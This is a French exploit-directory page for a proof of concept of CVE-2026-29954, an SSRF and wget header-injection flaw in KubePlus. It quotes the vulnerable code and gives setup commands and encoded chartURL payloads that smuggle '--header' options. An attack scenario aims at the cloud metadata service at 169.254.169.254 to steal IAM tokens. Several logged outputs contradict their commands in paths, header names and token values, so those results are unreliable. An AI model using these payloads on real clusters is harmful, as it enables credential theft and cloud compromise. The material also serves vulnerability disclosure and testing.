Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29954 — Preuve de concept démontrant une SSRF et une injection d'en-têtes HTTP dans KubePlus ResourceComposition, permettant l'accès aux métadonnées cloud et le vol d'identifiants IAM. | Kitploit
Outils/GitHubGitHub/b0b0haha/cve-2026-29954
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité Cloud
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

Preuve de concept démontrant une SSRF et une injection d'en-têtes HTTP dans KubePlus ResourceComposition, permettant l'accès aux métadonnées cloud et le vol d'identifiants IAM.

Voir le dépôt
13il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité SSRF + Injection d'en-têtes dans le chartURL de ResourceComposition de KubePlus

Cette vulnérabilité existe dans le composant de gestion des ressources ResourceComposition de KubePlus, permettant à un attaquant disposant de privilèges Provider d'accéder à des services internes via SSRF en forgeant un paramètre chartURL malveillant, et d'injecter des en-têtes de requête HTTP arbitraires via une injection de commande wget. Cela permet aux attaquants d'accéder aux services de métadonnées cloud qui exigent des en-têtes spécifiques (par exemple, GCP exige l'en-tête Metadata-Flavor: Google), volant ainsi les identifiants IAM. CWE recommandée pour le signalement : CWE-918 (Server-Side Request Forgery).

Résumé

Les composants mutating webhook et kubeconfiggenerator de KubePlus présentent une vulnérabilité SSRF lors du traitement du champ chartURL des ressources ResourceComposition. Ce champ n'est que URL-encodé sans validation de l'adresse cible. Plus critique encore, lorsque kubeconfiggenerator utilise wget pour télécharger les charts, le chartURL est directement concaténé dans la commande, permettant aux attaquants d'injecter l'option --header de wget pour réaliser une injection d'en-têtes HTTP arbitraires.

Détails

Emplacement du code vulnérable

Point d'entrée SSRF - mutating-webhook/utils.go:986-995 :

func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

Point d'injection d'en-têtes - deploy/kubeconfiggenerator.py:552-558 :

def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

Le chartURL est directement concaténé dans la commande wget, permettant aux attaquants d'injecter l'option --header.

Analyse de la vulnérabilité

  1. SSRF : Le champ chartURL provient de l'entrée utilisateur, n'est que URL-encodé, sans validation pour savoir si la cible est un réseau interne ou un service de métadonnées
  2. Injection de commande (en-têtes) : La commande wget concatène directement le chartURL, permettant l'injection d'options de ligne de commande wget
  3. Injection d'en-têtes : En injectant l'option --header, des en-têtes de requête HTTP arbitraires peuvent être ajoutés

PoC

Configuration de l'environnement

  1. Créer un cluster Kind :
kind create cluster --name kubeplus-test
  1. Installer KubePlus v4.2.0 :
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Générer le kubeconfig provider :
python3 provider-kubeconfig.py create default
  1. Déployer le serveur de rappel :
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

Test 1 : Vérification SSRF de base

# Créer une ResourceComposition avec une charge utile SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

Sortie du journal du serveur de rappel :

[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

Test 2 : Injection d'en-têtes via wget --header

# Configurer le transfert de port vers kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Injecter l'en-tête Metadata-Flavor (requis pour le service de métadonnées GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

Sortie du journal du serveur de rappel :

[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

Test 3 : Injection de plusieurs en-têtes

PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

Sortie du journal du serveur de rappel :

[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Impact

  1. SSRF vers les services internes : Les attaquants peuvent accéder aux services internes du cluster et à l'API Kubernetes
  2. Accès aux métadonnées cloud : En injectant l'en-tête Metadata-Flavor: Google, le service de métadonnées GCP peut être accessible
  3. Vol d'identifiants IAM : Dans les environnements cloud, les identifiants temporaires IAM peuvent être volés
  4. Contournement d'authentification : En injectant des en-têtes Authorization, l'authentification de certains services peut être contournée

Scénario d'attaque

Attaquant (privilèges Provider)
    |
    v
Crée une ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
Le webhook KubePlus traite la requête
    |
    v
kubeconfiggenerator exécute : wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Accès au service de métadonnées GCP, obtention du jeton IAM
    |
    v
Utilisation du jeton IAM pour accéder aux ressources cloud

Gravité

Score CVSS 3.1 : 8,5 (Élevé) Vecteur : AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • Vecteur d'attaque : Réseau
  • Complexité d'attaque : Faible
  • Privilèges requis : Élevés (rôle Provider)
  • Interaction utilisateur : Aucune
  • Portée : Modifiée (peut accéder aux services cloud externes)
  • Confidentialité : Élevée (identifiants IAM)
  • Intégrité : Faible
  • Disponibilité : Aucune

Versions affectées

  • KubePlus v4.2.0 (vérifié)
  • Probablement toutes les versions utilisant wget pour le téléchargement des charts

Contournements

Télécharger l’outil